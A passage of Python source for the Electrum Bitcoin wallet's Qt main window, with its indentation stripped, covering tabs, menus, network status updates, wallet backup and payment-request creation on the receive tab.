def keyPressEvent(self, e):
if e.key() == Qt.Key_Return:
self.func()
from electrum.paymentrequest import PR_PAID
class ElectrumWindow(QMainWindow, MessageBoxMixin, PrintError):
payment_request_ok_signal = pyqtSignal()
payment_request_error_signal = pyqtSignal()
notify_transactions_signal = pyqtSignal()
new_fx_quotes_signal = pyqtSignal()
new_fx_history_signal = pyqtSignal()
network_signal = pyqtSignal(str, object)
alias_received_signal = pyqtSignal()
computing_privkeys_signal = pyqtSignal()
show_privkeys_signal = pyqtSignal()
def __init__(self, gui_object, wallet):
QMainWindow.__init__(self)
self.gui_object = gui_object
self.config = config = gui_object.config
self.setup_exception_hook()
self.network = gui_object.daemon.network
self.fx = gui_object.daemon.fx
self.invoices = wallet.invoices
self.contacts = wallet.contacts
self.tray = gui_object.tray
self.app = gui_object.app
self.cleaned_up = False
self.is_max = False
self.payment_request = None
self.checking_accounts = False
self.qr_window = None
self.not_enough_funds = False
self.pluginsdialog = None
self.require_fee_update = False
self.tx_notifications = []
self.tl_windows = []
self.tx_external_keypairs = {}
self.create_status_bar()
self.need_update = threading.Event()
self.decimal_point = config.get('decimal_point', 5)
self.num_zeros = int(config.get('num_zeros',0))
self.completions = QStringListModel()
self.tabs = tabs = QTabWidget(self)
self.send_tab = self.create_send_tab()
self.receive_tab = self.create_receive_tab()
self.addresses_tab = self.create_addresses_tab()
self.utxo_tab = self.create_utxo_tab()
self.console_tab = self.create_console_tab()
self.contacts_tab = self.create_contacts_tab()
tabs.addTab(self.create_history_tab(), QIcon(":icons/tab_history.png"), _('History'))
tabs.addTab(self.send_tab, QIcon(":icons/tab_send.png"), _('Send'))
tabs.addTab(self.receive_tab, QIcon(":icons/tab_receive.png"), _('Receive'))
def add_optional_tab(tabs, tab, icon, description, name):
tab.tab_icon = icon
tab.tab_description = description
tab.tab_pos = len(tabs)
tab.tab_name = name
if self.config.get('show_{}_tab'.format(name), False):
tabs.addTab(tab, icon, description.replace("&", ""))
add_optional_tab(tabs, self.addresses_tab, QIcon(":icons/tab_addresses.png"), _("&Addresses"), "addresses")
add_optional_tab(tabs, self.utxo_tab, QIcon(":icons/tab_coins.png"), _("Co&ins"), "utxo")
add_optional_tab(tabs, self.contacts_tab, QIcon(":icons/tab_contacts.png"), _("Con&tacts"), "contacts")
add_optional_tab(tabs, self.console_tab, QIcon(":icons/tab_console.png"), _("Con&sole"), "console")
tabs.setSizePolicy(QSizePolicy.Expanding, QSizePolicy.Expanding)
self.setCentralWidget(tabs)
if self.config.get("is_maximized"):
self.showMaximized()
self.setWindowIcon(QIcon(":icons/electrum.png"))
self.init_menubar()
wrtabs = weakref.proxy(tabs)
QShortcut(QKeySequence("Ctrl+W"), self, self.close)
QShortcut(QKeySequence("Ctrl+Q"), self, self.close)
QShortcut(QKeySequence("Ctrl+R"), self, self.update_wallet)
QShortcut(QKeySequence("Ctrl+PgUp"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() - 1)%wrtabs.count()))
QShortcut(QKeySequence("Ctrl+PgDown"), self, lambda: wrtabs.setCurrentIndex((wrtabs.currentIndex() + 1)%wrtabs.count()))
for i in range(wrtabs.count()):
QShortcut(QKeySequence("Alt+" + str(i + 1)), self, lambda i=i: wrtabs.setCurrentIndex(i))
self.payment_request_ok_signal.connect(self.payment_request_ok)
self.payment_request_error_signal.connect(self.payment_request_error)
self.notify_transactions_signal.connect(self.notify_transactions)
self.history_list.setFocus(True)
# network callbacks
if self.network:
self.network_signal.connect(self.on_network_qt)
interests = ['updated', 'new_transaction', 'status',
'banner', 'verified', 'fee']
# To avoid leaking references to "self" that prevent the
# window from being GC-ed when closed, callbacks should be
# methods of this class only, and specifically not be
# partials, lambdas or methods of subobjects. Hence...
self.network.register_callback(self.on_network, interests)
# set initial message
self.console.showMessage(self.network.banner)
self.network.register_callback(self.on_quotes, ['on_quotes'])
self.network.register_callback(self.on_history, ['on_history'])
self.new_fx_quotes_signal.connect(self.on_fx_quotes)
self.new_fx_history_signal.connect(self.on_fx_history)
# update fee slider in case we missed the callback
self.fee_slider.update()
self.load_wallet(wallet)
self.connect_slots(gui_object.timer)
self.fetch_alias()
def on_history(self, b):
self.new_fx_history_signal.emit()
def setup_exception_hook(self):
Exception_Hook(self)
def on_fx_history(self):
self.history_list.refresh_headers()
self.history_list.update()
self.address_list.update()
def on_quotes(self, b):
self.new_fx_quotes_signal.emit()
def on_fx_quotes(self):
self.update_status()
# Refresh edits with the new rate
edit = self.fiat_send_e if self.fiat_send_e.is_last_edited else self.amount_e
edit.textEdited.emit(edit.text())
edit = self.fiat_receive_e if self.fiat_receive_e.is_last_edited else self.receive_amount_e
edit.textEdited.emit(edit.text())
# History tab needs updating if it used spot
if self.fx.history_used_spot:
self.history_list.update()
def toggle_tab(self, tab):
show = not self.config.get('show_{}_tab'.format(tab.tab_name), False)
self.config.set_key('show_{}_tab'.format(tab.tab_name), show)
item_text = (_("Hide") if show else _("Show")) + " " + tab.tab_description
tab.menu_action.setText(item_text)
if show:
# Find out where to place the tab
index = len(self.tabs)
for i in range(len(self.tabs)):
try:
if tab.tab_pos < self.tabs.widget(i).tab_pos:
index = i
break
except AttributeError:
pass
self.tabs.insertTab(index, tab, tab.tab_icon, tab.tab_description.replace("&", ""))
else:
i = self.tabs.indexOf(tab)
self.tabs.removeTab(i)
def push_top_level_window(self, window):
'''Used for e.g. tx dialog box to ensure new dialogs are appropriately
parented. This used to be done by explicitly providing the parent
window, but that isn't something hardware wallet prompts know.'''
self.tl_windows.append(window)
def pop_top_level_window(self, window):
self.tl_windows.remove(window)
def top_level_window(self):
'''Do the right thing in the presence of tx dialog windows'''
override = self.tl_windows[-1] if self.tl_windows else None
return self.top_level_window_recurse(override)
def diagnostic_name(self):
return "%s/%s" % (PrintError.diagnostic_name(self),
self.wallet.basename() if self.wallet else "None")
def is_hidden(self):
return self.isMinimized() or self.isHidden()
def show_or_hide(self):
if self.is_hidden():
self.bring_to_top()
else:
self.hide()
def bring_to_top(self):
self.show()
self.raise_()
def on_error(self, exc_info):
if not isinstance(exc_info[1], UserCancelled):
traceback.print_exception(*exc_info)
self.show_error(str(exc_info[1]))
def on_network(self, event, *args):
if event == 'updated':
self.need_update.set()
self.gui_object.network_updated_signal_obj.network_updated_signal \
.emit(event, args)
elif event == 'new_transaction':
self.tx_notifications.append(args[0])
self.notify_transactions_signal.emit()
elif event in ['status', 'banner', 'verified', 'fee']:
# Handle in GUI thread
self.network_signal.emit(event, args)
else:
self.print_error("unexpected network message:", event, args)
def on_network_qt(self, event, args=None):
# Handle a network message in the GUI thread
if event == 'status':
self.update_status()
elif event == 'banner':
self.console.showMessage(args[0])
elif event == 'verified':
self.history_list.update_item(*args)
elif event == 'fee':
if self.config.is_dynfee():
self.fee_slider.update()
self.do_update_fee()
elif event == 'fee_histogram':
if self.config.is_dynfee():
self.fee_slider.update()
self.do_update_fee()
# todo: update only unconfirmed tx
self.history_list.update()
else:
self.print_error("unexpected network_qt signal:", event, args)
def fetch_alias(self):
self.alias_info = None
alias = self.config.get('alias')
if alias:
alias = str(alias)
def f():
self.alias_info = self.contacts.resolve_openalias(alias)
self.alias_received_signal.emit()
t = threading.Thread(target=f)
t.setDaemon(True)
t.start()
def close_wallet(self):
if self.wallet:
self.print_error('close_wallet', self.wallet.storage.path)
run_hook('close_wallet', self.wallet)
@profiler
def load_wallet(self, wallet):
wallet.thread = TaskThread(self, self.on_error)
self.wallet = wallet
self.update_recently_visited(wallet.storage.path)
# address used to create a dummy transaction and estimate transaction fee
self.history_list.update()
self.address_list.update()
self.utxo_list.update()
self.need_update.set()
# Once GUI has been initialized check if we want to announce something since the callback has been called before the GUI was initialized
self.notify_transactions()
# update menus
self.seed_menu.setEnabled(self.wallet.has_seed())
self.update_lock_icon()
self.update_buttons_on_seed()
self.update_console()
self.clear_receive_tab()
self.request_list.update()
self.tabs.show()
self.init_geometry()
if self.config.get('hide_gui') and self.gui_object.tray.isVisible():
self.hide()
else:
self.show()
self.watching_only_changed()
run_hook('load_wallet', wallet, self)
def init_geometry(self):
winpos = self.wallet.storage.get("winpos-qt")
try:
screen = self.app.desktop().screenGeometry()
assert screen.contains(QRect(*winpos))
self.setGeometry(*winpos)
except:
self.print_error("using default geometry")
self.setGeometry(100, 100, 840, 400)
def watching_only_changed(self):
name = "Electrum Testnet" if constants.net.TESTNET else "Electrum"
title = '%s %s - %s' % (name, self.wallet.electrum_version,
self.wallet.basename())
extra = [self.wallet.storage.get('wallet_type', '?')]
if self.wallet.is_watching_only():
self.warn_if_watching_only()
extra.append(_('watching only'))
title += ' [%s]'% ', '.join(extra)
self.setWindowTitle(title)
self.password_menu.setEnabled(self.wallet.may_have_password())
self.import_privkey_menu.setVisible(self.wallet.can_import_privkey())
self.import_address_menu.setVisible(self.wallet.can_import_address())
self.export_menu.setEnabled(self.wallet.can_export())
def warn_if_watching_only(self):
if self.wallet.is_watching_only():
msg = ' '.join([
_("This wallet is watching-only."),
_("This means you will not be able to spend Bitcoins with it."),
_("Make sure you own the seed phrase or the private keys, before you request Bitcoins to be sent to this wallet.")
])
self.show_warning(msg, title=_('Information'))
def open_wallet(self):
wallet_folder = self.get_wallet_folder()
filename, __ = QFileDialog.getOpenFileName(self, "Select your wallet file", wallet_folder)
if not filename:
return
self.gui_object.new_window(filename)
def backup_wallet(self):
path = self.wallet.storage.path
wallet_folder = os.path.dirname(path)
filename, __ = QFileDialog.getSaveFileName(self, _('Enter a filename for the copy of your wallet'), wallet_folder)
if not filename:
return
new_path = os.path.join(wallet_folder, filename)
if new_path != path:
try:
shutil.copy2(path, new_path)
self.show_message(_("A copy of your wallet file was created in")+" '%s'" % str(new_path), title=_("Wallet backup created"))
except (IOError, os.error) as reason:
self.show_critical(_("Electrum was unable to copy your wallet file to the specified location.") + "\n" + str(reason), title=_("Unable to create backup"))
def update_recently_visited(self, filename):
recent = self.config.get('recently_open', [])
try:
sorted(recent)
except:
recent = []
if filename in recent:
recent.remove(filename)
recent.insert(0, filename)
recent = recent[:5]
self.config.set_key('recently_open', recent)
self.recently_visited_menu.clear()
for i, k in enumerate(sorted(recent)):
b = os.path.basename(k)
def loader(k):
return lambda: self.gui_object.new_window(k)
self.recently_visited_menu.addAction(b, loader(k)).setShortcut(QKeySequence("Ctrl+%d"%(i+1)))
self.recently_visited_menu.setEnabled(len(recent))
def get_wallet_folder(self):
return os.path.dirname(os.path.abspath(self.config.get_wallet_path()))
def new_wallet(self):
wallet_folder = self.get_wallet_folder()
i = 1
while True:
filename = "wallet_%d" % i
if filename in os.listdir(wallet_folder):
i += 1
else:
break
full_path = os.path.join(wallet_folder, filename)
self.gui_object.start_new_window(full_path, None)
def init_menubar(self):
menubar = QMenuBar()
file_menu = menubar.addMenu(_("&File"))
self.recently_visited_menu = file_menu.addMenu(_("&Recently open"))
file_menu.addAction(_("&Open"), self.open_wallet).setShortcut(QKeySequence.Open)
file_menu.addAction(_("&New/Restore"), self.new_wallet).setShortcut(QKeySequence.New)
file_menu.addAction(_("&Save Copy"), self.backup_wallet).setShortcut(QKeySequence.SaveAs)
file_menu.addAction(_("Delete"), self.remove_wallet)
file_menu.addSeparator()
file_menu.addAction(_("&Quit"), self.close)
wallet_menu = menubar.addMenu(_("&Wallet"))
wallet_menu.addAction(_("&Information"), self.show_master_public_keys)
wallet_menu.addSeparator()
self.password_menu = wallet_menu.addAction(_("&Password"), self.change_password_dialog)
self.seed_menu = wallet_menu.addAction(_("&Seed"), self.show_seed_dialog)
self.private_keys_menu = wallet_menu.addMenu(_("&Private keys"))
self.private_keys_menu.addAction(_("&Sweep"), self.sweep_key_dialog)
self.import_privkey_menu = self.private_keys_menu.addAction(_("&Import"), self.do_import_privkey)
self.export_menu = self.private_keys_menu.addAction(_("&Export"), self.export_privkeys_dialog)
self.import_address_menu = wallet_menu.addAction(_("Import addresses"), self.import_addresses)
wallet_menu.addSeparator()
addresses_menu = wallet_menu.addMenu(_("&Addresses"))
addresses_menu.addAction(_("&Filter"), lambda: self.address_list.toggle_toolbar(self.config))
labels_menu = wallet_menu.addMenu(_("&Labels"))
labels_menu.addAction(_("&Import"), self.do_import_labels)
labels_menu.addAction(_("&Export"), self.do_export_labels)
history_menu = wallet_menu.addMenu(_("&History"))
history_menu.addAction(_("&Filter"), lambda: self.history_list.toggle_toolbar(self.config))
history_menu.addAction(_("&Summary"), self.history_list.show_summary)
history_menu.addAction(_("&Plot"), self.history_list.plot_history_dialog)
history_menu.addAction(_("&Export"), self.history_list.export_history_dialog)
contacts_menu = wallet_menu.addMenu(_("Contacts"))
contacts_menu.addAction(_("&New"), self.new_contact_dialog)
contacts_menu.addAction(_("Import"), lambda: self.contact_list.import_contacts())
contacts_menu.addAction(_("Export"), lambda: self.contact_list.export_contacts())
invoices_menu = wallet_menu.addMenu(_("Invoices"))
invoices_menu.addAction(_("Import"), lambda: self.invoice_list.import_invoices())
invoices_menu.addAction(_("Export"), lambda: self.invoice_list.export_invoices())
wallet_menu.addSeparator()
wallet_menu.addAction(_("Find"), self.toggle_search).setShortcut(QKeySequence("Ctrl+F"))
def add_toggle_action(view_menu, tab):
is_shown = self.config.get('show_{}_tab'.format(tab.tab_name), False)
item_name = (_("Hide") if is_shown else _("Show")) + " " + tab.tab_description
tab.menu_action = view_menu.addAction(item_name, lambda: self.toggle_tab(tab))
view_menu = menubar.addMenu(_("&View"))
add_toggle_action(view_menu, self.addresses_tab)
add_toggle_action(view_menu, self.utxo_tab)
add_toggle_action(view_menu, self.contacts_tab)
add_toggle_action(view_menu, self.console_tab)
tools_menu = menubar.addMenu(_("&Tools"))
# Settings / Preferences are all reserved keywords in OSX using this as work around
tools_menu.addAction(_("Electrum preferences") if sys.platform == 'darwin' else _("Preferences"), self.settings_dialog)
tools_menu.addAction(_("&Network"), lambda: self.gui_object.show_network_dialog(self))
tools_menu.addAction(_("&Plugins"), self.plugins_dialog)
tools_menu.addSeparator()
tools_menu.addAction(_("&Sign/verify message"), self.sign_verify_message)
tools_menu.addAction(_("&Encrypt/decrypt message"), self.encrypt_message)
tools_menu.addSeparator()
paytomany_menu = tools_menu.addAction(_("&Pay to many"), self.paytomany)
raw_transaction_menu = tools_menu.addMenu(_("&Load transaction"))
raw_transaction_menu.addAction(_("&From file"), self.do_process_from_file)
raw_transaction_menu.addAction(_("&From text"), self.do_process_from_text)
raw_transaction_menu.addAction(_("&From the blockchain"), self.do_process_from_txid)
raw_transaction_menu.addAction(_("&From QR code"), self.read_tx_from_qrcode)
self.raw_transaction_menu = raw_transaction_menu
run_hook('init_menubar_tools', self, tools_menu)
help_menu = menubar.addMenu(_("&Help"))
help_menu.addAction(_("&About"), self.show_about)
help_menu.addAction(_("&Official website"), lambda: webbrowser.open("http://electrum.org"))
help_menu.addSeparator()
help_menu.addAction(_("&Documentation"), lambda: webbrowser.open("http://docs.electrum.org/")).setShortcut(QKeySequence.HelpContents)
help_menu.addAction(_("&Report Bug"), self.show_report_bug)
help_menu.addSeparator()
help_menu.addAction(_("&Donate to server"), self.donate_to_server)
self.setMenuBar(menubar)
def donate_to_server(self):
d = self.network.get_donation_address()
if d:
host = self.network.get_parameters()[0]
self.pay_to_URI('bitcoin:%s?message=donation for %s'%(d, host))
else:
self.show_error(_('No donation address for this server'))
def show_about(self):
QMessageBox.about(self, "Electrum",
_("Version")+" %s" % (self.wallet.electrum_version) + "\n\n" +
_("Electrum's focus is speed, with low resource usage and simplifying Bitcoin. You do not need to perform regular backups, because your wallet can be recovered from a secret phrase that you can memorize or write on paper. Startup times are instant because it operates in conjunction with high-performance servers that handle the most complicated parts of the Bitcoin system." + "\n\n" +
_("Uses icons from the Icons8 icon pack (icons8.com).")))
def show_report_bug(self):
msg = ' '.join([
_("Please report any bugs as issues on github:<br/>"),
"<a href=\"https://github.com/spesmilo/electrum/issues\">https://github.com/spesmilo/electrum/issues</a><br/><br/>",
_("Before reporting a bug, upgrade to the most recent version of Electrum (latest release or git HEAD), and include the version number in your report."),
_("Try to explain not only what the bug is, but how it occurs.")
])
self.show_message(msg, title="Electrum - " + _("Reporting Bugs"))
def notify_transactions(self):
if not self.network or not self.network.is_connected():
return
self.print_error("Notifying GUI")
if len(self.tx_notifications) > 0:
# Combine the transactions if there are at least three
num_txns = len(self.tx_notifications)
if num_txns >= 3:
total_amount = 0
for tx in self.tx_notifications:
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if v > 0:
total_amount += v
self.notify(_("{} new transactions received: Total amount received in the new transactions {}")
.format(num_txns, self.format_amount_and_units(total_amount)))
self.tx_notifications = []
else:
for tx in self.tx_notifications:
if tx:
self.tx_notifications.remove(tx)
is_relevant, is_mine, v, fee = self.wallet.get_wallet_delta(tx)
if v > 0:
self.notify(_("New transaction received: {}").format(self.format_amount_and_units(v)))
def notify(self, message):
if self.tray:
try:
# this requires Qt 5.9
self.tray.showMessage("Electrum", message, QIcon(":icons/electrum_dark_icon"), 20000)
except TypeError:
self.tray.showMessage("Electrum", message, QSystemTrayIcon.Information, 20000)
# custom wrappers for getOpenFileName and getSaveFileName, that remember the path selected by the user
def getOpenFileName(self, title, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
fileName, __ = QFileDialog.getOpenFileName(self, title, directory, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return fileName
def getSaveFileName(self, title, filename, filter = ""):
directory = self.config.get('io_dir', os.path.expanduser('~'))
path = os.path.join( directory, filename )
fileName, __ = QFileDialog.getSaveFileName(self, title, path, filter)
if fileName and directory != os.path.dirname(fileName):
self.config.set_key('io_dir', os.path.dirname(fileName), True)
return fileName
def connect_slots(self, sender):
sender.timer_signal.connect(self.timer_actions)
def timer_actions(self):
# Note this runs in the GUI thread
if self.need_update.is_set():
self.need_update.clear()
self.update_wallet()
# resolve aliases
# FIXME this is a blocking network call that has a timeout of 5 sec
self.payto_e.resolve()
# update fee
if self.require_fee_update:
self.do_update_fee()
self.require_fee_update = False
def format_amount(self, x, is_diff=False, whitespaces=False):
return format_satoshis(x, is_diff, self.num_zeros, self.decimal_point, whitespaces)
def format_amount_and_units(self, amount):
text = self.format_amount(amount) + ' '+ self.base_unit()
x = self.fx.format_amount_and_units(amount) if self.fx else None
if text and x:
text += ' (%s)'%x
return text
def format_fee_rate(self, fee_rate):
return format_satoshis(fee_rate/1000, False, self.num_zeros, 0, False) + ' sat/byte'
def get_decimal_point(self):
return self.decimal_point
def base_unit(self):
assert self.decimal_point in [2, 5, 8]
if self.decimal_point == 2:
return 'bits'
if self.decimal_point == 5:
return 'mBTC'
if self.decimal_point == 8:
return 'BTC'
raise Exception('Unknown base unit')
def connect_fields(self, window, btc_e, fiat_e, fee_e):
def edit_changed(edit):
if edit.follows:
return
edit.setStyleSheet(ColorScheme.DEFAULT.as_stylesheet())
fiat_e.is_last_edited = (edit == fiat_e)
amount = edit.get_amount()
rate = self.fx.exchange_rate() if self.fx else Decimal('NaN')
if rate.is_nan() or amount is None:
if edit is fiat_e:
btc_e.setText("")
if fee_e:
fee_e.setText("")
else:
fiat_e.setText("")
else:
if edit is fiat_e:
btc_e.follows = True
btc_e.setAmount(int(amount / Decimal(rate) * COIN))
btc_e.setStyleSheet(ColorScheme.BLUE.as_stylesheet())
btc_e.follows = False
if fee_e:
window.update_fee()
else:
fiat_e.follows = True
fiat_e.setText(self.fx.ccy_amount_str(
amount * Decimal(rate) / COIN, False))
fiat_e.setStyleSheet(ColorScheme.BLUE.as_stylesheet())
fiat_e.follows = False
btc_e.follows = False
fiat_e.follows = False
fiat_e.textChanged.connect(partial(edit_changed, fiat_e))
btc_e.textChanged.connect(partial(edit_changed, btc_e))
fiat_e.is_last_edited = False
def update_status(self):
if not self.wallet:
return
if self.network is None or not self.network.is_running():
text = _("Offline")
icon = QIcon(":icons/status_disconnected.png")
elif self.network.is_connected():
server_height = self.network.get_server_height()
server_lag = self.network.get_local_height() - server_height
# Server height can be 0 after switching to a new server
# until we get a headers subscription request response.
# Display the synchronizing message in that case.
if not self.wallet.up_to_date or server_height == 0:
text = _("Synchronizing...")
icon = QIcon(":icons/status_waiting.png")
elif server_lag > 1:
text = _("Server is lagging ({} blocks)").format(server_lag)
icon = QIcon(":icons/status_lagging.png")
else:
c, u, x = self.wallet.get_balance()
text = _("Balance" ) + ": %s "%(self.format_amount_and_units(c))
if u:
text += " [%s unconfirmed]"%(self.format_amount(u, True).strip())
if x:
text += " [%s unmatured]"%(self.format_amount(x, True).strip())
# append fiat balance and price
if self.fx.is_enabled():
text += self.fx.get_fiat_status_text(c + u + x,
self.base_unit(), self.get_decimal_point()) or ''
if not self.network.proxy:
icon = QIcon(":icons/status_connected.png")
else:
icon = QIcon(":icons/status_connected_proxy.png")
else:
text = _("Not connected")
icon = QIcon(":icons/status_disconnected.png")
self.tray.setToolTip("%s (%s)" % (text, self.wallet.basename()))
self.balance_label.setText(text)
self.status_button.setIcon( icon )
def update_wallet(self):
self.update_status()
if self.wallet.up_to_date or not self.network or not self.network.is_connected():
self.update_tabs()
def update_tabs(self):
self.history_list.update()
self.request_list.update()
self.address_list.update()
self.utxo_list.update()
self.contact_list.update()
self.invoice_list.update()
self.update_completions()
def create_history_tab(self):
from .history_list import HistoryList
self.history_list = l = HistoryList(self)
l.searchable_list = l
toolbar = l.create_toolbar(self.config)
toolbar_shown = self.config.get('show_toolbar_history', False)
l.show_toolbar(toolbar_shown)
return self.create_list_tab(l, toolbar)
def show_address(self, addr):
from . import address_dialog
d = address_dialog.AddressDialog(self, addr)
d.exec_()
def show_transaction(self, tx, tx_desc = None):
'''tx_desc is set only for txs created in the Send tab'''
show_transaction(tx, self, tx_desc)
def create_receive_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.receive_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
self.receive_address_e = ButtonsLineEdit()
self.receive_address_e.addCopyButton(self.app)
self.receive_address_e.setReadOnly(True)
msg = _('Bitcoin address where the payment should be received. Note that each payment request uses a different Bitcoin address.')
self.receive_address_label = HelpLabel(_('Receiving address'), msg)
self.receive_address_e.textChanged.connect(self.update_receive_qr)
self.receive_address_e.setFocusPolicy(Qt.NoFocus)
grid.addWidget(self.receive_address_label, 0, 0)
grid.addWidget(self.receive_address_e, 0, 1, 1, -1)
self.receive_message_e = QLineEdit()
grid.addWidget(QLabel(_('Description')), 1, 0)
grid.addWidget(self.receive_message_e, 1, 1, 1, -1)
self.receive_message_e.textChanged.connect(self.update_receive_qr)
self.receive_amount_e = BTCAmountEdit(self.get_decimal_point)
grid.addWidget(QLabel(_('Requested amount')), 2, 0)
grid.addWidget(self.receive_amount_e, 2, 1)
self.receive_amount_e.textChanged.connect(self.update_receive_qr)
self.fiat_receive_e = AmountEdit(self.fx.get_currency if self.fx else '')
if not self.fx or not self.fx.is_enabled():
self.fiat_receive_e.setVisible(False)
grid.addWidget(self.fiat_receive_e, 2, 2, Qt.AlignLeft)
self.connect_fields(self, self.receive_amount_e, self.fiat_receive_e, None)
self.expires_combo = QComboBox()
self.expires_combo.addItems([i[0] for i in expiration_values])
self.expires_combo.setCurrentIndex(3)
self.expires_combo.setFixedWidth(self.receive_amount_e.width())
msg = ' '.join([
_('Expiration date of your request.'),
_('This information is seen by the recipient if you send them a signed payment request.'),
_('Expired requests have to be deleted manually from your list, in order to free the corresponding Bitcoin addresses.'),
_('The bitcoin address never expires and will always be part of this electrum wallet.'),
])
grid.addWidget(HelpLabel(_('Request expires'), msg), 3, 0)
grid.addWidget(self.expires_combo, 3, 1)
self.expires_label = QLineEdit('')
self.expires_label.setReadOnly(1)
self.expires_label.setFocusPolicy(Qt.NoFocus)
self.expires_label.hide()
grid.addWidget(self.expires_label, 3, 1)
self.save_request_button = QPushButton(_('Save'))
self.save_request_button.clicked.connect(self.save_payment_request)
self.new_request_button = QPushButton(_('New'))
self.new_request_button.clicked.connect(self.new_payment_request)
self.receive_qr = QRCodeWidget(fixedSize=200)
self.receive_qr.mouseReleaseEvent = lambda x: self.toggle_qr_window()
self.receive_qr.enterEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.PointingHandCursor))
self.receive_qr.leaveEvent = lambda x: self.app.setOverrideCursor(QCursor(Qt.ArrowCursor))
self.receive_buttons = buttons = QHBoxLayout()
buttons.addStretch(1)
buttons.addWidget(self.save_request_button)
buttons.addWidget(self.new_request_button)
grid.addLayout(buttons, 4, 1, 1, 2)
self.receive_requests_label = QLabel(_('Requests'))
from .request_list import RequestList
self.request_list = RequestList(self)
# layout
vbox_g = QVBoxLayout()
vbox_g.addLayout(grid)
vbox_g.addStretch()
hbox = QHBoxLayout()
hbox.addLayout(vbox_g)
hbox.addWidget(self.receive_qr)
w = QWidget()
w.searchable_list = self.request_list
vbox = QVBoxLayout(w)
vbox.addLayout(hbox)
vbox.addStretch(1)
vbox.addWidget(self.receive_requests_label)
vbox.addWidget(self.request_list)
vbox.setStretchFactor(self.request_list, 1000)
return w
def delete_payment_request(self, addr):
self.wallet.remove_payment_request(addr, self.config)
self.request_list.update()
self.clear_receive_tab()
def get_request_URI(self, addr):
req = self.wallet.receive_requests[addr]
message = self.wallet.labels.get(addr, '')
amount = req['amount']
URI = util.create_URI(addr, amount, message)
if req.get('time'):
URI += "&time=%d"%req.get('time')
if req.get('exp'):
URI += "&exp=%d"%req.get('exp')
if req.get('name') and req.get('sig'):
sig = bfh(req.get('sig'))
sig = bitcoin.base_encode(sig, base=58)
URI += "&name=" + req['name'] + "&sig="+sig
return str(URI)
def sign_payment_request(self, addr):
alias = self.config.get('alias')
alias_privkey = None
if alias and self.alias_info:
alias_addr, alias_name, validated = self.alias_info
if alias_addr:
if self.wallet.is_mine(alias_addr):
msg = _('This payment request will be signed.') + '\n' + _('Please enter your password')
password = None
if self.wallet.has_keystore_encryption():
password = self.password_dialog(msg)
if not password:
return
try:
self.wallet.sign_payment_request(addr, alias, alias_addr, password)
except Exception as e:
self.show_error(str(e))
return
else:
return
def save_payment_request(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
if not message and not amount:
self.show_error(_('No message or amount'))
return False
i = self.expires_combo.currentIndex()
expiration = list(map(lambda x: x[1], expiration_values))[i]
req = self.wallet.make_payment_request(addr, amount, message, expiration)
try:
self.wallet.add_payment_request(req, self.config)
except Exception as e:
traceback.print_exc(file=sys.stderr)
self.show_error(_('Error adding payment request') + ':\n' + str(e))
else:
self.sign_payment_request(addr)
self.save_request_button.setEnabled(False)
finally:
self.request_list.update()
self.address_list.update()
def view_and_paste(self, title, msg, data):
dialog = WindowModalDialog(self, title)
vbox = QVBoxLayout()
label = QLabel(msg)
label.setWordWrap(True)
vbox.addWidget(label)
pr_e = ShowQRTextEdit(text=data)
vbox.addWidget(pr_e)
vbox.addLayout(Buttons(CopyCloseButton(pr_e.text, self.app, dialog)))
dialog.setLayout(vbox)
dialog.exec_()
def export_payment_request(self, addr):
r = self.wallet.receive_requests.get(addr)
pr = paymentrequest.serialize_request(r).SerializeToString()
name = r['id'] + '.bip70'
fileName = self.getSaveFileName(_("Select where to save your payment request"), name, "*.bip70")
if fileName:
with open(fileName, "wb+") as f:
f.write(util.to_bytes(pr))
self.show_message(_("Request saved successfully"))
self.saved = True
def new_payment_request(self):
addr = self.wallet.get_unused_address()
if addr is None:
if not self.wallet.is_deterministic():
msg = [
_('No more addresses in your wallet.'),
_('You are using a non-deterministic wallet, which cannot create new addresses.'),
_('If you want to create new addresses, use a deterministic wallet instead.')
]
self.show_message(' '.join(msg))
return
if not self.question(_("Warning: The next address will not be recovered automatically if you restore your wallet from seed; you may need to add it manually.\n\nThis occurs because you have too many unused addresses in your wallet. To avoid this situation, use the existing addresses first.\n\nCreate anyway?")):
return
addr = self.wallet.create_new_address(False)
self.set_receive_address(addr)
self.expires_label.hide()
self.expires_combo.show()
self.new_request_button.setEnabled(False)
self.receive_message_e.setFocus(1)
def set_receive_address(self, addr):
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
def clear_receive_tab(self):
addr = self.wallet.get_receiving_address() or ''
self.receive_address_e.setText(addr)
self.receive_message_e.setText('')
self.receive_amount_e.setAmount(None)
self.expires_label.hide()
self.expires_combo.show()
def toggle_qr_window(self):
from . import qrwindow
if not self.qr_window:
self.qr_window = qrwindow.QR_Window(self)
self.qr_window.setVisible(True)
self.qr_window_geometry = self.qr_window.geometry()
else:
if not self.qr_window.isVisible():
self.qr_window.setVisible(True)
self.qr_window.setGeometry(self.qr_window_geometry)
else:
self.qr_window_geometry = self.qr_window.geometry()
self.qr_window.setVisible(False)
self.update_receive_qr()
def show_send_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.send_tab))
def show_receive_tab(self):
self.tabs.setCurrentIndex(self.tabs.indexOf(self.receive_tab))
def receive_at(self, addr):
if not bitcoin.is_address(addr):
return
self.show_receive_tab()
self.receive_address_e.setText(addr)
self.new_request_button.setEnabled(True)
def update_receive_qr(self):
addr = str(self.receive_address_e.text())
amount = self.receive_amount_e.get_amount()
message = self.receive_message_e.text()
self.save_request_button.setEnabled((amount is not None) or (message != ""))
uri = util.create_URI(addr, amount, message)
self.receive_qr.setData(uri)
if self.qr_window and self.qr_window.isVisible():
self.qr_window.set_content(addr, amount, message, uri)
def set_feerounding_text(self, num_satoshis_added):
self.feerounding_text = (_('Additional {} satoshis are going to be added.')
.format(num_satoshis_added))
def create_send_tab(self):
# A 4-column grid layout. All the stretch is in the last column.
# The exchange rate plugin adds a fiat widget in column 2
self.send_grid = grid = QGridLayout()
grid.setSpacing(8)
grid.setColumnStretch(3, 1)
